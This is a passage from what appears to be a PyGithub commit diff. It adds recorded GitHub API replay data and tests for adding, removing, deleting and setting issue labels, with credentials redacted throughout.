management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206.3","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} + +https +POST +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31/comments +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 10, "start_line": 5, "path": "src/github/Issue.py", "side": "RIGHT", "start_side": "RIGHT"} +201 +[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] +{"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"CComment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} diff --git a/tests/ReplayData/PullRequest.testCreateReviewCommentInReplyTo.txt b/tests/ReplayData/PullRequest.testCreateReviewCommentInReplyTo.txt new file mode 100644 index 0000000000..55f4e1988d --- /dev/null +++ b/tests/ReplayData/PullRequest.testCreateReviewCommentInReplyTo.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test 